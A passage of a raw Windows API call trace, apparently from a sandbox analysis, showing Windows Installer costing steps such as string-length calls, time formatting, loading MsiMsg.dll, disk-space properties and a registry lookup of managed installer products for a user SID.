returned 1 [0124.778] lstrlenW (lpString="FileCost") returned 8 [0124.778] lstrlenW (lpString="{{") returned 2 [0124.778] lstrlenW (lpString=": }}") returned 4 [0124.778] SetLastError (dwErrCode=0xd) [0124.778] lstrlenW (lpString="Time") returned 4 [0124.778] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xeb)) [0124.778] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.778] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xeb)) [0124.778] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.778] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xeb)) [0124.778] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.778] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.778] memcpy (in: _Dst=0x36e33e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36e33e) returned 0x36e33e [0124.778] memcpy (in: _Dst=0x36e34e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36e34e) returned 0x36e34e [0124.778] memcpy (in: _Dst=0x36e352, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36e352) returned 0x36e352 [0124.778] SetLastError (dwErrCode=0x0) [0124.778] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.778] memcpy (in: _Dst=0x36e352, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e352) returned 0x36e352 [0124.778] memcpy (in: _Dst=0x36e358, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36e358) returned 0x36e358 [0124.778] memcpy (in: _Dst=0x36e35c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36e35c) returned 0x36e35c [0124.778] SetLastError (dwErrCode=0x0) [0124.779] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.779] memcpy (in: _Dst=0x36e35c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e35c) returned 0x36e35c [0124.779] GetCurrentThreadId () returned 0xf50 [0124.779] GetCurrentThreadId () returned 0xf50 [0124.779] SetEvent (hEvent=0x170) returned 1 [0124.779] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.782] lstrlenW (lpString="FileCost") returned 8 [0124.782] SetLastError (dwErrCode=0xd) [0124.782] SetLastError (dwErrCode=0xd) [0124.782] lstrlenW (lpString="Time") returned 4 [0124.782] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xeb)) [0124.782] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.782] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xeb)) [0124.782] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.782] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xeb)) [0124.782] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.782] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.782] memcpy (in: _Dst=0x36e34a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36e34a) returned 0x36e34a [0124.782] memcpy (in: _Dst=0x36e35a, _Src=0x376446, _Size=0x4 | out: _Dst=0x36e35a) returned 0x36e35a [0124.782] memcpy (in: _Dst=0x36e35e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36e35e) returned 0x36e35e [0124.782] SetLastError (dwErrCode=0x0) [0124.782] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.782] memcpy (in: _Dst=0x36e35e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36e35e) returned 0x36e35e [0124.782] memcpy (in: _Dst=0x36e364, _Src=0x376450, _Size=0x2 | out: _Dst=0x36e364) returned 0x36e364 [0124.782] GetCurrentThreadId () returned 0xf50 [0124.782] GetCurrentThreadId () returned 0xf50 [0124.783] SetEvent (hEvent=0x170) returned 1 [0124.783] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.785] GetTickCount () returned 0x1877d9f [0124.785] lstrlenW (lpString="UILevel") returned 7 [0124.786] SetLastError (dwErrCode=0x0) [0124.786] lstrlenW (lpString="CostAdjuster") returned 12 [0124.786] GlobalLock (hMem=0xf40168) returned 0x37c910 [0124.786] lstrlenW (lpString="MsiAssembly") returned 11 [0124.786] lstrlenW (lpString="RemoveFile") returned 10 [0124.787] lstrlenW (lpString="MoveFile") returned 8 [0124.787] lstrlenW (lpString="DuplicateFile") returned 13 [0124.787] lstrlenW (lpString="Shortcut") returned 8 [0124.787] lstrlenW (lpString="MSIFASTINSTALL") returned 14 [0124.787] SetLastError (dwErrCode=0xd) [0124.787] GlobalUnlock (hMem=0xf40048) returned 0 [0124.787] GlobalReAlloc (hMem=0xf40048, dwBytes=0x140, uFlags=0x2) returned 0xf40048 [0124.788] GlobalLock (hMem=0xf40048) returned 0x3ccd10 [0124.788] memcpy (in: _Dst=0x37c928, _Src=0x37c91c, _Size=0xc | out: _Dst=0x37c928) returned 0x37c928 [0124.788] lstrlenW (lpString="Registry") returned 8 [0124.788] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈛䌪䗶䜵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce1e0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.788] CExposedStream::Stat () returned 0x0 [0124.788] GlobalLock (hMem=0xf40158) returned 0x2f8460 [0124.788] CExposedStream::Read () returned 0x0 [0124.789] memcpy (in: _Dst=0x2f8464, _Src=0x36e33c, _Size=0x2 | out: _Dst=0x2f8464) returned 0x2f8464 [0124.789] memcpy (in: _Dst=0x2f8480, _Src=0x36e33e, _Size=0x2 | out: _Dst=0x2f8480) returned 0x2f8480 [0124.789] memcpy (in: _Dst=0x2f849c, _Src=0x36e340, _Size=0x2 | out: _Dst=0x2f849c) returned 0x2f849c [0124.789] memcpy (in: _Dst=0x2f84b8, _Src=0x36e342, _Size=0x2 | out: _Dst=0x2f84b8) returned 0x2f84b8 [0124.789] memcpy (in: _Dst=0x2f84d4, _Src=0x36e344, _Size=0x2 | out: _Dst=0x2f84d4) returned 0x2f84d4 [0124.789] memcpy (in: _Dst=0x10ce2b8, _Src=0x36e346, _Size=0x2 | out: _Dst=0x10ce2b8) returned 0x10ce2b8 [0124.789] memcpy (in: _Dst=0x10ce2b8, _Src=0x36e348, _Size=0x2 | out: _Dst=0x10ce2b8) returned 0x10ce2b8 [0124.789] memcpy (in: _Dst=0x10ce2b8, _Src=0x36e34a, _Size=0x2 | out: _Dst=0x10ce2b8) returned 0x10ce2b8 [0124.789] memcpy (in: _Dst=0x10ce2b8, _Src=0x36e34c, _Size=0x2 | out: _Dst=0x10ce2b8) returned 0x10ce2b8 [0124.789] memcpy (in: _Dst=0x10ce2b8, _Src=0x36e34e, _Size=0x2 | out: _Dst=0x10ce2b8) returned 0x10ce2b8 [0124.789] memcpy (in: _Dst=0x2f846c, _Src=0x36e350, _Size=0x2 | out: _Dst=0x2f846c) returned 0x2f846c [0124.789] memcpy (in: _Dst=0x2f8488, _Src=0x36e352, _Size=0x2 | out: _Dst=0x2f8488) returned 0x2f8488 [0124.789] memcpy (in: _Dst=0x2f84a4, _Src=0x36e354, _Size=0x2 | out: _Dst=0x2f84a4) returned 0x2f84a4 [0124.789] memcpy (in: _Dst=0x2f84c0, _Src=0x36e356, _Size=0x2 | out: _Dst=0x2f84c0) returned 0x2f84c0 [0124.789] memcpy (in: _Dst=0x2f84dc, _Src=0x36e358, _Size=0x2 | out: _Dst=0x2f84dc) returned 0x2f84dc [0124.789] memcpy (in: _Dst=0x2f8470, _Src=0x36e35a, _Size=0x2 | out: _Dst=0x2f8470) returned 0x2f8470 [0124.789] memcpy (in: _Dst=0x2f848c, _Src=0x36e35c, _Size=0x2 | out: _Dst=0x2f848c) returned 0x2f848c [0124.789] memcpy (in: _Dst=0x2f84a8, _Src=0x36e35e, _Size=0x2 | out: _Dst=0x2f84a8) returned 0x2f84a8 [0124.789] memcpy (in: _Dst=0x2f84c4, _Src=0x36e360, _Size=0x2 | out: _Dst=0x2f84c4) returned 0x2f84c4 [0124.789] memcpy (in: _Dst=0x2f84e0, _Src=0x36e362, _Size=0x2 | out: _Dst=0x2f84e0) returned 0x2f84e0 [0124.789] memcpy (in: _Dst=0x2f8474, _Src=0x36e364, _Size=0x2 | out: _Dst=0x2f8474) returned 0x2f8474 [0124.789] memcpy (in: _Dst=0x2f8490, _Src=0x36e366, _Size=0x2 | out: _Dst=0x2f8490) returned 0x2f8490 [0124.789] memcpy (in: _Dst=0x2f84ac, _Src=0x36e368, _Size=0x2 | out: _Dst=0x2f84ac) returned 0x2f84ac [0124.789] memcpy (in: _Dst=0x2f84c8, _Src=0x36e36a, _Size=0x2 | out: _Dst=0x2f84c8) returned 0x2f84c8 [0124.789] memcpy (in: _Dst=0x2f84e4, _Src=0x36e36c, _Size=0x2 | out: _Dst=0x2f84e4) returned 0x2f84e4 [0124.789] memcpy (in: _Dst=0x2f8478, _Src=0x36e36e, _Size=0x2 | out: _Dst=0x2f8478) returned 0x2f8478 [0124.789] memcpy (in: _Dst=0x2f8494, _Src=0x36e370, _Size=0x2 | out: _Dst=0x2f8494) returned 0x2f8494 [0124.789] memcpy (in: _Dst=0x2f84b0, _Src=0x36e372, _Size=0x2 | out: _Dst=0x2f84b0) returned 0x2f84b0 [0124.789] memcpy (in: _Dst=0x2f84cc, _Src=0x36e374, _Size=0x2 | out: _Dst=0x2f84cc) returned 0x2f84cc [0124.789] memcpy (in: _Dst=0x2f84e8, _Src=0x36e376, _Size=0x2 | out: _Dst=0x2f84e8) returned 0x2f84e8 [0124.790] CExposedStream::Release () returned 0x0 [0124.790] lstrlenW (lpString="Registry") returned 8 [0124.790] _vsnwprintf (in: _Buffer=0x360290, _BufferCount=0x1f, _Format="__%s%d", _ArgList=0x10ce2b8 | out: _Buffer="__bz.ProductComponent65") returned 23 [0124.790] lstrlenW (lpString="__bz.ProductComponent65") returned 23 [0124.790] lstrlenW (lpString="Temporary Id") returned 12 [0124.790] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.790] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x1f4, uFlags=0x2) returned 0xf400a8 [0124.790] GlobalLock (hMem=0xf400a8) returned 0x36e330 [0124.790] lstrlenW (lpString="TARGETDIR") returned 9 [0124.790] lstrlenW (lpString="?") returned 1 [0124.791] GlobalUnlock (hMem=0xf40108) returned 0 [0124.791] GlobalReAlloc (hMem=0xf40108, dwBytes=0x118, uFlags=0x2) returned 0xf40108 [0124.791] GlobalLock (hMem=0xf40108) returned 0x36e550 [0124.791] lstrlenW (lpString="Class") returned 5 [0124.791] lstrlenW (lpString="Extension") returned 9 [0124.791] lstrlenW (lpString="TypeLib") returned 7 [0124.791] lstrlenW (lpString="IniFile") returned 7 [0124.791] lstrlenW (lpString="ReserveCost") returned 11 [0124.792] GetTickCount () returned 0x1877daf [0124.792] lstrlenW (lpString="FileCost") returned 8 [0124.792] SetLastError (dwErrCode=0xd) [0124.792] SetLastError (dwErrCode=0xd) [0124.792] lstrlenW (lpString="Time") returned 4 [0124.792] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.792] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.792] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.792] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.792] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.792] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.792] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.792] memcpy (in: _Dst=0x3b5009a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5009a) returned 0x3b5009a [0124.792] memcpy (in: _Dst=0x3b500aa, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b500aa) returned 0x3b500aa [0124.792] memcpy (in: _Dst=0x3b500ae, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.792] SetLastError (dwErrCode=0x0) [0124.792] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.792] memcpy (in: _Dst=0x3b500ae, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.792] memcpy (in: _Dst=0x3b500b4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x3b500b4) returned 0x3b500b4 [0124.792] memcpy (in: _Dst=0x3b500d2, _Src=0x34b110, _Size=0x2 | out: _Dst=0x3b500d2) returned 0x3b500d2 [0124.792] SetLastError (dwErrCode=0x0) [0124.792] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.792] memcpy (in: _Dst=0x3b500d2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500d2) returned 0x3b500d2 [0124.792] memcpy (in: _Dst=0x3b500d8, _Src=0x34b114, _Size=0x2 | out: _Dst=0x3b500d8) returned 0x3b500d8 [0124.792] GetCurrentThreadId () returned 0xf50 [0124.792] GetCurrentThreadId () returned 0xf50 [0124.793] SetEvent (hEvent=0x170) returned 1 [0124.793] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.795] lstrlenW (lpString="ActionText") returned 10 [0124.795] lstrcmpW (lpString1="Advertise", lpString2="CostFinalize") returned -1 [0124.795] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="CostFinalize") returned -1 [0124.795] lstrcmpW (lpString1="AppSearch", lpString2="CostFinalize") returned -1 [0124.795] lstrcmpW (lpString1="BindImage", lpString2="CostFinalize") returned -1 [0124.796] lstrcmpW (lpString1="CCPSearch", lpString2="CostFinalize") returned -1 [0124.796] lstrcmpW (lpString1="CostFinalize", lpString2="CostFinalize") returned 0 [0124.796] lstrlenW (lpString="ProductLanguage") returned 15 [0124.796] SetLastError (dwErrCode=0x0) [0124.796] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0124.797] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x7536, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Computing space requirements\r\n") returned 0x1e [0124.800] lstrlenW (lpString="Computing space requirements") returned 28 [0124.800] FreeLibrary (hLibModule=0xc10002) returned 1 [0124.803] lstrlenW (lpString="CostFinalize") returned 12 [0124.803] lstrlenW (lpString="{{") returned 2 [0124.803] lstrlenW (lpString=": }}") returned 4 [0124.803] SetLastError (dwErrCode=0xd) [0124.803] lstrlenW (lpString="Time") returned 4 [0124.803] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.803] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.804] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.804] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.804] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.804] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.804] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.804] memcpy (in: _Dst=0x3b5008e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5008e) returned 0x3b5008e [0124.804] memcpy (in: _Dst=0x3b5009e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5009e) returned 0x3b5009e [0124.804] memcpy (in: _Dst=0x3b500a2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b500a2) returned 0x3b500a2 [0124.804] SetLastError (dwErrCode=0x0) [0124.804] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.804] memcpy (in: _Dst=0x3b500a2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500a2) returned 0x3b500a2 [0124.804] memcpy (in: _Dst=0x3b500a8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b500a8) returned 0x3b500a8 [0124.804] memcpy (in: _Dst=0x3b500ac, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b500ac) returned 0x3b500ac [0124.804] SetLastError (dwErrCode=0x0) [0124.804] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.804] memcpy (in: _Dst=0x3b500ac, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ac) returned 0x3b500ac [0124.804] GetCurrentThreadId () returned 0xf50 [0124.804] GetCurrentThreadId () returned 0xf50 [0124.804] SetEvent (hEvent=0x170) returned 1 [0124.804] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.807] lstrlenW (lpString="CostFinalize") returned 12 [0124.807] SetLastError (dwErrCode=0xd) [0124.807] SetLastError (dwErrCode=0xd) [0124.807] lstrlenW (lpString="Time") returned 4 [0124.807] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0xfb)) [0124.807] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.814] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x10b)) [0124.814] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.814] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x10b)) [0124.814] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.814] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.814] memcpy (in: _Dst=0x3b5009a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5009a) returned 0x3b5009a [0124.814] memcpy (in: _Dst=0x3b500aa, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b500aa) returned 0x3b500aa [0124.814] memcpy (in: _Dst=0x3b500ae, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.814] SetLastError (dwErrCode=0x0) [0124.814] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.814] memcpy (in: _Dst=0x3b500ae, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b500ae) returned 0x3b500ae [0124.814] memcpy (in: _Dst=0x3b500b4, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b500b4) returned 0x3b500b4 [0124.814] GetCurrentThreadId () returned 0xf50 [0124.814] GetCurrentThreadId () returned 0xf50 [0124.815] SetEvent (hEvent=0x170) returned 1 [0124.815] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.818] GetTickCount () returned 0x1877dbe [0124.818] lstrlenW (lpString="OutOfDiskSpace") returned 14 [0124.818] _vsnwprintf (in: _Buffer=0x10ce348, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce338 | out: _Buffer="0") returned 1 [0124.818] lstrlenW (lpString="0") returned 1 [0124.818] lstrlenW (lpString="OutOfNoRbDiskSpace") returned 18 [0124.818] _vsnwprintf (in: _Buffer=0x10ce348, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce338 | out: _Buffer="0") returned 1 [0124.818] lstrlenW (lpString="0") returned 1 [0124.818] lstrlenW (lpString="PrimaryVolumeSpaceAvailable") returned 27 [0124.818] _vsnwprintf (in: _Buffer=0x10ce348, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce338 | out: _Buffer="0") returned 1 [0124.818] lstrlenW (lpString="0") returned 1 [0124.818] lstrlenW (lpString="PrimaryVolumeSpaceRequired") returned 26 [0124.818] _vsnwprintf (in: _Buffer=0x10ce348, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce338 | out: _Buffer="0") returned 1 [0124.818] lstrlenW (lpString="0") returned 1 [0124.818] lstrlenW (lpString="PrimaryVolumeSpaceRemaining") returned 27 [0124.818] _vsnwprintf (in: _Buffer=0x10ce348, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce338 | out: _Buffer="0") returned 1 [0124.818] lstrlenW (lpString="0") returned 1 [0124.819] GetTickCount () returned 0x1877dbe [0124.819] lstrlenW (lpString="File") returned 4 [0124.820] lstrlenW (lpString="Patch") returned 5 [0124.820] GetTickCount () returned 0x1877dbe [0124.820] GetTickCount () returned 0x1877dbe [0124.821] lstrlenW (lpString="Condition") returned 9 [0124.821] lstrlenW (lpString="ProductCode") returned 11 [0124.821] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0124.821] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0124.821] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.821] GetCurrentThreadId () returned 0xf50 [0124.821] GetCurrentThreadId () returned 0xf50 [0124.822] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.822] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd950, TokenInformationLength=0x58, ReturnLength=0x10cd940 | out: TokenInformation=0x10cd950, ReturnLength=0x10cd940) returned 1 [0124.822] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cda30, pSourceSid=0x10cd960*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cda30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.822] ConvertSidToStringSidW (in: Sid=0x10cda30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cda10 | out: StringSid=0x10cda10*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.822] LocalFree (hMem=0x3d63a0) returned 0x0 [0124.822] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.822] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0124.822] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce018 | out: phkResult=0x10ce018*=0x0) returned 0x2 [0124.822] GetCurrentThreadId () returned 0xf50 [0124.822] GetCurrentThreadId () returned 0xf50 [0124.822] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.822] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd950, TokenInformationLength=0x58, ReturnLength=0x10cd940 | out: TokenInformation=0x10cd950, ReturnLength=0x10cd940) returned 1 [0124.822] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cda30, pSourceSid=0x10cd960*(Revision=0x1, SubAuthorityCount=0x5, 